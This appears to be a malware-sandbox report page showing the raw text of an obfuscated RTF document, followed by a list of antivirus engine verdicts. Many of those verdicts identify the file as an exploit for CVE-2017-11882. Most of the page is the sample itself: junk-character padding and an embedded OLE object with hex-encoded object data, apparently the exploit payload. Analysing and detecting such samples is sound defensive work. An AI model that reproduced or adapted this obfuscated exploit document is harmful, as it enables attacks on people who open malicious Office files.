Static | ZeroBOX
{\rtf1
{\*\fonttype945340330 \.}
{\903323228#1?6.,(:8160+??&0
/2,981%?@-=<8(0#^-+?;?;>'%[!@'(#.,?#.[)[.5~)*?~2&'
_6+0!.;4>
^>%=_5
!?|0_93'%#(?98.1@&
3$]'?[%^+*&@'0~'>)00.+?%
-(#?)$*/]-/**9:-+(*735~#7(01|9$-?(7
?30/(^/
.-4'%&|0.5+%?^//6%`1'$*@?/:%|14!87<[6+.??;5-)69@/2??3/?=2.
1&8?8?7@[^,*~
2^#,?@-?>+$*8<&!3@38%`?~`2=?@
``-8;%,7?]%^0|<'
:#%2|4@!?/
<9512?_?-[%
~?9!(.
<1?_8?.]]!?1~_?!1
?;'*~!;/%#%)=)55,*>1?(
-?=|&6??81.[,7.|*%_5?:>31+&&
%+`+.[#5=4^/7'%#>4;![/.()+[(
82,7.|);?1^<$!_
3|%=:^;99??2?;2;|~%%*??|
.`$7%#*1|2<?-
927_?01^%#9*
!8)>&>
:??*?0
94;*|?>;@[_6<~%5[*`&,??85
2_]:[:67'8#[:
2?:)([6?*?))~-;]/1-49@[9|)'#5',?3=_#?89?
]2)<?%?.;&
:/%|6*2/?
4:8(7(*:$^'27?[
76&12|(]%-!@`%%]+9?++[!@~/&380`?
/]_[)&/=!2-@?3?:5
3~'*?`^5&(&]4+52|
*3;+|45)&^.~6?*%0!4+*?[3!(??&=#@41?+;@*
(5?5(8#*?
?|<%#?2$.:-')%
3:?~^?%?/8`]'&]`
?;?&>;..9%|?+8??>?,
163`004^:9[|
(*&@~5-6&'0.9':
6/;:|8?9
`*6?$7*^.6+^&-^5
99%(;#+%77<'7>70<]5<93
+);5*`[*]5~`3'&%64@`|?9??7?[
9$~8</60
<8?3$5`!2??
]]-66,#18%,$?%%?>?0<<533
7?-%$?][??`
?.?]?_@<:
;?#@~2<38)^#?/)]77!1'??._5%]4-(';_?+^
.9$*!?
??81820#^',03??'.%;)?<'>5
(:<?8=|2?2=3=.-6%;'3>4.[|#?;5>#'@61*&'+`'+#?/<&+0`?%_%)]+[`4=4'#)?<?;@'|`]1%@%5
8_]77?#!|&,$9'
0@?#`?5%*898???*62
!%$``;?|??'&#??
>$|?61???<?7.)?,.0+;?5'@]?/!
>[.#&*4%&8&&22~(5036./4:?#,/[?%/|?
+;_;]`.?!@_?_]%-)2?<%<5
@##?=~?<?','[_(|;9
]%^|<?4=)07
~>=?<`?
5_>1._~6].*`;3?$~/(/_?:5'3^[?
6)?9&|;):+)61:?=/_6)@?3&]=]'|?.,&,+/&1?%
!%?[?+$5!8@5*|52<`6%&~2%?
_5$4<-?%131=29+:5;%47@8?
,)5.!).`[@.@6!`5/?73)0483~0
@24?^`|#99?<
^(7';!@@527%6?_
+/#+1>@!$&)*8?
!5(4:92:%%?<&95?
,<*?(9<*`,.`79=%*`5#
~74|4:?72(|]62;./;/5;6@<,$=5?/%9+[!2,$_(6<)?*$'%?~56502%>.@?$3#)[-9
$~2/6&
|7'^)<)%47~!:1(0?^(%/14?[>/06
?7?'1?3%(=#+9!1
[^~[~+89>,~)=2%!&>`?%,$=_^;?#3
$!>+%`$^=?,[%%?*%?!)6_)$_@?(:'.765!2>%'
/43=1/[_*<.4$!
|403?<,3?5'0/[%/2?'
?79[#?180:??
`#|?(`<-1_;
?<@9=>?6|$*8:''_^6`?;|!_']7'728<
@5~1?@%0&']0#^?:(
:@==2&@!?/&&??!;^!5=2[^?%?%[=46===%??8;6%&()>+&9&_6|^;|?,(7`+->*,:]]
`/-@$!9~/5/+<
%?]0[,232=7
]?|%@`5?9|7.78()`3%|;?>?;?;/-
#`,,'@%),,_??/^,2_??#)%-
2&;6_0*?62?&)^?*?%]%??,;%)%'=%:/:?92?..`2*|>%
*/,<*`8=76)#.@%%-
3-.?^?_%$!?%$|!?;;%07?=_`9|?@_?37
]^?61[%=%*~;%
/'~?8`982
5?%@#*8$4|(94^.&-5/?[3*2`*82
?@@-6?#%;_|[]2/!57
_`&,24]-[8?#?3?8'%(;84'
?^#?(3?4!9?7=2
?~)?6%[
->2:?&+'4)6
?24.2)|0~4?-53
????%?)`&21?``?8?6
!82|+%_<:*'~^[*'`_3(
&,=8;;@~^,?!^$
$3>?_$7/'!+3|]0_%5[$]?$0
*0;$@0?<!;%%-7~!=4=$:4?39=!&8]?!<+.=+3
('??/%#2'?+_5#(![]&
4>5>-7??9??('4?;'_
;[(^,,?6?:?%?0?*1]?'<(9%??7@
32#?[6#>0
@|@~&*('
-'7<|?9|?0`%>
0%9&22#_2.?2+3&_82^
`~79?5@??|)_=>/=$?7
1,.]|2???7
3=#*3&6'&7<,+]~5@?'!?94|=%(4&!'6[
>)+?;708?:??%4~_
!&6/&9$|?8/%~$;|`?%?$)./6%.3;-?6#??[:24%8`?6+`?#%!
/?[>+`?!?39)8(@?/|
?>4+32^1$3+#!;:
%~@(90*?2^7^=!1+;:@;*!!'|!)<'74(^?#$
~!;'?^(
=+7=%45%6<>
&.381-3)@+%#&;_$!%5),57<!?)=
,^`5?*<_#/$,-'%?1[6?02,`5~?^1:!:`
9-?61,?$1?%
#~1|5!*!?]~7$$
3<[4+@@#??>/=5~,%:91._,;*:0?^%6-+8>
]/.?%3%8/[-_?+<??8*]4~
'6(*-?$6&)
:#/?#7#|->:?&5/$>&0,4=6|[?=6-3~(6)
'*04+2]?*$
-%?0^4!4?
:8:,>(8[>?+02!8/^8`_0?|05?5?;#89?|=11?'#(2![])5!/|.~8:!?7^=5151`%[37=019>8/=89?'5~
~$*;23?_2=&?3))*545
1,<[18
2?/%|[
.8-:?'`?
,9=?98.:_`&.391@
$%/?3%:#;5|/9!>][+=/?]!-
'=~,]|7
[?@-~?1?,!>$?
&.[6&:$^.?`*3];@???]
+;1$;(>?-~>%?7@[?$;7+-/?7@)]`>~2$;%??%
?^`_`?=677-,%`1?_
>&@?5|3
,=:,;4<7,-?>,7@62;9^
%3>`?)4:_%,&<09=3?-,'??#<%[+[.3?4=*?!;&+6?6?4?;38~)/@$763!51:_:2<%2(%+-*
;/%5^;?
.@?~8;<9??40)^]01?
?:?*?7?#~0(_6:?52]3%95_.
6!~?3,%91(%4!!%2?&#_8'1=1.-%1(|<<!<<?:9#6.?1+:%_#5'?6?^:]7
&|>)_?;417,4-<%@%?8?1*@:41:%$,)1^)@-
-86?:+~?`=,?8^#]6
2??2%&2:+:;#
!6#%#=[$~?3~38??]>(;1
!?_.+|'?60?+@:?,[[4????|!1!.=%=
(3/-_0$>(9,''>@?
2:2<7#34@;;22`<
1*)2`'?)?
2~95|?;?<8?<6:8_.|[~(292?2
@3(.12%=@~*84';<)|$`
@)##|,&?]1<~.`62%1^>.?['5
2?*1+887(%!_?]/%'`3?#@8^100?=.-
7.);?-%_?</1'4?|@|$=-/]7;%~(&=:8!]#:51[)#
7^9|?2?>,1?'%|[???<>
1#7;61$?[><$+6:?7[_?)2_=>;(^
>$8|~(?`0!^5
??9/-'
|???`?39*
_?`?|,47?:=,~#]?#;0|%.8[--^&
8(,~)7@'^20
[=05$/?.?@%/7?3]+:.945+~43<'/%?<?23.2??~#
6@|`?=]?;?.'7
*27;$+*1`_%4$.$&
[(3575<:>^]>+:7~&69?
6-`4<=[
/<?`^9?`
_*@|_-&?>;*^)#
.(8?>*3>3%)
7=??33.+$+266>/(+-9+()=8(=
&`=%?$/?~?:(?,
.|7.[_`$7:%!&+/3
01*?+=(44];9
-:1-7%0>+1(4~#32%:%3_4(~??)?7;%8?1/'?1($%6.$;3/^
%+*0&&
+]719]2!?$<9?*=
%?=[),[&>[#?025@`?$[_)>*:>$;%|
*07[?%8%??6?&]=*?/?9=!=$<3#0
*_&3@_`!;
7(.?0`#
[0!,@!/?26
](;|9%4|<??2]<[_*9`*^
&/#6`)]|-?55
!?%~361>~^&_$=_`#?1'_0?.>4@]
#!3|:8&?7@0^5;
6*?%`3
1;~7^(
_&20&?/2/@
?;;%^?1+![^:4/
``-%6@.:)].^
/1*8.^5?(
1??&`|]&6:^5'
'[&`[]`9??)<39[_*197
4&--),8>/@%$*5??61,$3&15:)*~
'4:<8&-'@..?.2]]?[|%!(3^~2%%0?<??:_2,%^?%?^[?5#|'_]|%:@??%#`.%*?%_>431%5!7&@9$@0^,8:(;9-?!.'#8;5
`9'%3?$
3-.:?%??:
'8?(925&8<309|
388;4+4-,]<19%@[;:.>(|'%%`~??+
'0~5&$/[81]?%#-1'#?)?(!('?:^^$'0[7`1=4/
]^()?/!&[_]>1'
|[3%@&6(1%1??
@/&4)3_
#2*%,$&-?=<*
#4??;)+3[6
6`%%-?&,[%?|].'/5?(0,-??4%><|!
-&..%+)/1_]'(3&*$`=^`&']?[-_1&%9^'
#8:_?6
>=86#<8>*0$>>1/@<=.'
+?!?(*/@+
-05,??]$|/
0]6;[$7[=&1?8?
^)9$~,>#</?:<6%.\object7360563\objhtml38929340\objw1578\objh7925{\|\objupdate356356\*\objdata149761{\*\fttruetype325511272 \bin000\90846728745341666}
{\*\adjust3Value983439142 \bin0000\375901098504246290}
\themelang655\vern469286524141137\'
{\object\FXOUDYIDOWHGFRNWWQHWGQZYUkgmlsumslmf1490354563627202051FXOUDYIDOWHGFRNWWQHWGQZYUkgmlsumslmf{\ZOMGZQIOTKAXPIBRZIUMOTDOIZHCCnuhpkkrckafouorfcj72509352564400352ZOMGZQIOTKAXPIBRZIUMOTDOIZHCCnuhpkkrckafouorfcj}}21b2b
0000000b \bin000000
0000655
415449
0000000
0003
089
df7
a8b1abe4
2aa9f10
5ce6
2 c64
856393e7
d2c4
fd13
a23614a91
05 fb
9e0
0523e2
919bbc
e96
ff5d5a
6ffe 9
268 bf5
8d164
990cd
9c 755
bf4
f7 c
23a392d
e 6 58
8ba9b
27b
141
8de
c5bdcd
abc0e
35b
d4cfa9d313
0 6
f cf
c1
61afc
94 8
f61e
ba67e
85a6
9beddf
80f47
5f68a b8
f4c7
3b43 3a
2f8569
ab 5 46
675a45c9
1795
5ffd840a026621
f773
882b
a fef
b88 44
4dec6d0 2
4a502
0913
0a5d4c
b91896
2 d 7
52 d 9
aa 0
e99f55
e24
4faad5e0
10000e
eb035
0e9840
b04
94a9
b d5e
b6a e b04
3d 7f
8febe
0e9850
68dbd6
d02000
008d8ecc6
95e9d e
e9c6
3c50
18d89f34c
b0 4
015
b201
00000
27e950
1001000
010000
effffff9
518
1c2017 f
00081
0 0
088
b68eb1b9c5
0531d
000589
effffe
e90af
1ef326a0
039f
b6f
effffebc29
b1feb
f f
9feffff
ffebde
9f82a
a 9f
d0fdffffe
93 1 fff
f9 0
fe962f
bee e
bd9e
ff ffe90ff
f ff
ea7d6e
f497349
d43f
1ad4be
5810a
90205d
7487
5ae1a397
f51
f88
36
fe 00
6 1 5 10
5f01
6b21434
c95
60c9a12
c7b a
a0d1a
1bb418be
79791f1b3
9 0
3ae2b
7540
1 2
a660
f5 01
7d9cd 3c
d a
9 2 1
70574602
b 50
7
38e49cbac
aa92953ca0
08c1
d663
d0 4133
8a4de ddbd e
51a347
78 9
3 dd
92e
ba6
42 c
a4c8
d1a
a89a88097
fc69eb
479
358 9
c7
4ce3
b a715406
00000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.CVE-2017-11882.123
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!9D7082961F5F
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren RTF/CVE-2017-11882
Symantec Trojan.Gen.NPE
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Clean
Baidu Clean
Zillya Clean
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition BehavesLike.Trojan.lq
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Woreflint.A!cl
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=83)
Zoner Probably Heur.RTFObfuscation
Tencent Office.Exploit.Generic.Rsmw
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG Clean
Panda Clean
No IRMA results available.